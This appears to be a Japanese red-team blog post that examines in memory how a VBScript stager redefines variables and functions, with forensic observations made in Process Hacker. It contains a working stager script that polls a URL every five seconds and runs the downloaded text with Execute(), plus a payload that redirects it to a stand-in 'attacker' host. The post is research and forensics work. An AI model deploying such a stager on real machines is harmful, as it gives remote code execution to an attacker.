VBSマルウェア(Stager)のだいぶ細かい話
VBSマルウェア(stager)のメモリを見てみたよ、という話。経緯に前提とモチベーションを書いてるので長くなってる。飛ばしてもいいと思うけどもあとで「こいつなんでそもそもこんなことやってるんだろう」と思うかもしれない。
経緯
Feb, 2020に開催されたssmjpでこんな話(RedTeamerがRedTeamOpsを受けてみた)をさせていただく機会に恵まれておりまして、まあ実際には話す前に公開されたブログBlack Hat USA 2019 / DEF CON 27に参加してきました -Black Hat編- : NTT Com Haruka Hoshinoが良い感じの内容で、この記事を読んでもらえればざっくりした内容は伝わると判断しました。なので、トレーニングの内容はだいぶ端折ってトレーニングに関連するネタとかAVと戦ってる話とか自作ツールの話をしてたんですが、まあその中でVBS stagerの話をしてました。
どんなStagerかというと具体的には以下
簡単にまとめるとこんな感じ
- WSHには文字列をスクリプトとして解釈して実行する関数(Execute, ExecuteGlobal)がある
- JavaScriptで言うeval相当
- このブログで報告されたマルウェアは「実行したいスクリプトを適宜指定のURLから取得し、Execute関数を利用してそのスクリプトを実行する」という機能があった
- 解析したときにはもうサーバ上にはマルウェアが実行したであろうスクリプトは存在しなかった(正確には名前解決ができないレベルで片づけ済みだった)ので何されたかよくわからん
で、ssmjpの中で(あと以前書いたブログで)、実際にそんな感じのvbscriptを書いて遊んでみたら以下のような気付きがあった、という話をしました。
で、いくつかの課題のうちこんなのを上げてました
- Executeってどんな感じで動く? ⇒メモリ上で文字列をソースとして再定義してる感じっぽく見える
- そもそもVBScriptってどう動いてる?⇒追い切れてない、プロセス解析しなきゃ
- (ry
というわけで、この記事はダウンローダ(手元ではstagerに改良済み)がメモリ上でどんな感じに「ダウンロードしたスクリプトを展開しているのか」という話です。
スクリプト例
シンプルに。汚いとか見づらいと思う方は適当にリファクタリングして遊んでください。 こんな感じのスクリプトだと5秒ごとにlocalhostにアクセスしにくるStagerになります。
On Error Resume Next ' Decode response Function byte2str(bytes) Dim oNode Set oNode = CreateObject("System.Text.UTF8Encoding") byte2str = oNode.GetString((bytes)) Set oNode = Nothing End Function ' Called by "response" Function Test1() Wscript.echo "Alert!" End Function Dim obj, response, url, domain, uri, sleeptime Set obj = CreateObject("MSXML2.ServerXMLHTTP.6.0") domain = "localhost" uri = "/jquery.js" sleeptime = 5000 obj.setTimeouts 3000, 3000, 3000, 3000 obj.setOption 2, 13056 Do response = "" url = "http://" & domain & uri obj.Open "GET", url, False obj.Send response = byte2str(obj.responseBody) Execute(response) WScript.Sleep(sleeptime) Loop
普通に実行したときのメモリ
Process Hackerで見てみる。cscript.exeで実行した場合はcscript.exeのプロセスを見ること。流れは以下
- プロセスのプロパティを開く(Enterが楽)
- Memoryを開く、探すのめんどくさいんでコードが展開されてるメモリを見つける、「Strings...」
- 怪しいやつを見る場合、"Resume"で引っかける方針でいくといい気がする. こいつは隠しようがない文字列なので。というわけでMininumは6にして検索
- FilterでResume、こうすると以下の画像のような感じになるはず
良い感じにメモリに展開されたコードが出てきた。それじゃ通信先についても見ておく。
&で連結されているURLが、IServerXMLHTTPRequestにそのまんま入ってきていることがわかる。
変数を上書きした場合
それじゃ試しに変数domainの値をatatatatatattacker(千葉繁風)に変えてみる。
具体的にはjquery.jsファイル内に以下を書く. 事前にhostsに127.0.0.1 atatatatatattacker
を突っ込んでおくこと。
domain = "atatatatatattacker"
メモリ
まあこんな感じでメモリ上で変数が再定義されて、atatatatatattackerがIServerXMLHTTPRequestに入ってきている。というわけでメモリ上で文字列をソースとして再定義してる感じっぽく見える
っていうのは当たってそうだった。
じゃあ関数を再定義したらどうなんの?ってところ。
Function Test1を上書きした場合
まずは上書き前
たぶんOn Errorが入っているのは最初に読み込んだコードだと思われるので他の2か所を見てみる。
上の方
下の方
関数名でデータ持ってるなら前後のメモリに関数のアドレスがあってもおかしくはない気がしたが、よくわからなかった。やっぱWindowsわからない。
とりあえず以下みたいな感じでjquery.jsに書いて、ホスト名を出してみる
Function Test1() Wscript.echo CreateObject("WScript.Network").ComputerName End Function Call Test1
まあ出てくる
そんじゃこの時のメモリはどうなってるかというと
おお、jquery.jsで定義した関数が新しくメモリに載ってきてる。
どうやってそっちを呼ぶようになったのかはまた次回(やる気になったら。ならない気がする)
まとめ
まあこんな感じでVBS(WSH) downloader/Stagerはメモリ上に変数値だったり関数だったりを再定義して、そいつを実行していく感じにできるという話でした。
wshが動いてるときのメモリさえ手に入れば、動的に定義された関数はメモリフォレンジックで見つけることはできるかもしれない(超サイヤ人的な人だけかもしれんけど)。
以上